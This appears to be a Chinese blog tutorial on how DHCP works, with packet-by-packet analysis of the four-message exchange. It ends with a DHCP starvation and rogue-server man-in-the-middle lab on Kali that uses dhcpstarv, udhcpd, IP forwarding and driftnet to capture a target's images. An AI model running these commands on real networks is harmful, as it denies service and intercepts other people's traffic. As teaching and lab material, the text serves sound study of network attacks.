DHCP工作原理

DHCP 使用客戶端/服務(wù)器模型。網(wǎng)絡(luò)管理員建立一個或多個維護 TCP/IP 配置信息并將其提供給客戶端的 DHCP 服務(wù)器。DHCP 服務(wù)器以地址租約的形式將該配置提供給發(fā)出請求的客戶端
①發(fā)現(xiàn)階段:DHCP客戶機以廣播方式發(fā)送DHCP discover報文來尋找DHCP服務(wù)器
②提供階段:DHCP服務(wù)器在網(wǎng)絡(luò)中接收到DHCP discover報文后會做出響應,它從尚未出租的IP地址中挑選一個分配給DHCP客戶機,向DHCP客戶機發(fā)送一個包含出租的IP地址和其他設(shè)置的DHCP offer報文
③選擇階段:如果有多臺DHCP服務(wù)器向DHCP客戶機發(fā)來的DHCP offer提供報文,則DHCP客戶機只接受第一個收到的DHCP offer提供報文,然后它就以廣播方式回答一個DHCP request請求報文,該報文中包含向它所選定的DHCP服務(wù)器請求IP地址的內(nèi)容
④確認階段:DHCP服務(wù)器收到DHCP客戶機回答的DHCP request請求報文之后,它便向DHCP客戶機發(fā)送一個包含它所提供的IP地址和其他設(shè)置的DHCP ack確認報文,告訴DHCP客戶機可以使用它所提供的IP地址
⑤重新登錄:以后DHCP客戶機每次重新登錄網(wǎng)絡(luò)時,就不需要再發(fā)送DHCP discover發(fā)現(xiàn)報文了, 而是直接發(fā)送包含前一次所分配的IP地址的DHCP request請求報文
⑥更新租約:DHCP服務(wù)器向DHCP客戶機出租的IP地址一般都有一個租借期限 ,期滿后DHCP服務(wù)器便會收回出租的IP地址
DHCP包分析
下面著重來分析這4個數(shù)據(jù)包,它們代表了客戶機和DHCP服務(wù)器的交互過程,也是IP動態(tài)分配的過程

1,DHCP Discover數(shù)據(jù)包
(1)Client端使用IP地址0.0.0.0發(fā)送了一個廣播包,可以看到此時的目的IP為255.255.255.255。Client想通過這個數(shù)據(jù)包發(fā)現(xiàn)可以給它提供服務(wù)的DHCP服務(wù)器
(2)從下圖可以看出,DHCP屬于應用層協(xié)議,它在傳輸層使用UDP協(xié)議,目的端口是67

2,DHCP Offer包
當DHCP服務(wù)器收到一條DHCP Discover數(shù)據(jù)包時,用一個DHCP Offerr包給予客戶端響應

(1)DHCP服務(wù)器仍然使用廣播地址作為目的地址,因為此時請求分配IP的Client并沒有自己ip,而可能有多個Client在使用0.0.0.0這個IP作為源IP向DHCP服務(wù)器發(fā)出IP分配請求,DHCP也不能使用0.0.0.0這個IP作為目的IP地址,于是依然采用廣播的方式,告訴正在請求的Client們,這是一臺可以使用的DHCP服務(wù)器
(2)DHCP服務(wù)器提供了一個可用的IP,在數(shù)據(jù)包的Your (client) IP Address字段可以看到DHCP服務(wù)器提供的可用IP
(3)除此之外,如圖中紅色矩形框的內(nèi)容所示,服務(wù)器還發(fā)送了子網(wǎng)掩碼,路由器,DNS,域名,IP地址租用期等信息
3,DHCP Request包
當Client收到了DHCP Offer包以后(如果有多個可用的DHCP服務(wù)器,那么可能會收到多個DHCP Offer包),確認有可以和它交互的DHCP服務(wù)器存在,于是Client發(fā)送Request數(shù)據(jù)包,請求分配IP。 此時的源IP和目的IP依然是0.0.0.0和255.255.255.255
4,DHCP ACK包
服務(wù)器用DHCP ACK包對DHCP請求進行響應

在數(shù)據(jù)包中包含以下信息,表示將這些資源信息分配給Client. Your(client) IP address:分配給Client的可用IP
后面有許多項option信息,前兩項是DHCP服務(wù)器發(fā)送的消息類型(ACK)和服務(wù)器的身份標識,后面幾項是: Subnet Mask:Client端分配到的IP的子網(wǎng)掩碼; Router:路由器 Domain Name Server:DNS,域名服務(wù)器 Domain Name:域名 IP Address Lease Time:IP租用期
DHCP starvation attack
有許多中攻擊DHCP的技術(shù),這里介紹其中一種,有點類似于SYN 洪范攻擊。 DHCP starvation attack,中文即DHCP饑餓攻擊,可以顧名思義一下,饑餓攻擊,就是大量地進食,把可以吃的食物全部吃完,然后讓其他人沒得吃,最后給其他人提供一些毒藥,把人家毒死,姑且可以這樣淺顯地認為
下面來說這種攻擊是如何實現(xiàn)的。一些不法分子,偽造合法的MAC地址,不斷地向DHCP服務(wù)器發(fā)出DHCP Request包,最后耗盡服務(wù)器的可用IP,于是原有的這臺DHCP服務(wù)器便不能夠給客戶端分配IP了,此時不法分子再偽造一臺DHCP服務(wù)器,給客戶端分配IP,將客戶端的默認網(wǎng)關(guān)和DNS都設(shè)置成自己的機器,于是便可以對客戶端進行中間人攻擊
1.開啟操作系統(tǒng)的路由轉(zhuǎn)發(fā)
echo "1" >/proc/sys/net/ipv4/ip_forward

2.攻擊正常的dhcp服務(wù)器,耗光ip資源
dhcpstarv -i eth0 -e 192.168.177.128

Kali默認沒有安裝dhcpstarv,也可以用yersinia代替
3.安裝dhcp服務(wù)器udhcpd
apt-get install udhcpd
然后修改一下配置文件
vim /etc/udhcpd.conf


4.啟動DHCP服務(wù)器
service udhcpd start
然后啟動另一臺Kali機當作目標靶機,由于正常的DHCP服務(wù)器已經(jīng)沒有可分配的IP資源,新的內(nèi)網(wǎng)主機就會使用攻擊者DHCP服務(wù)器分配的IP

5.抓取目標靶機的圖片
在攻擊主機上開啟driftnet
driftnet -i eth0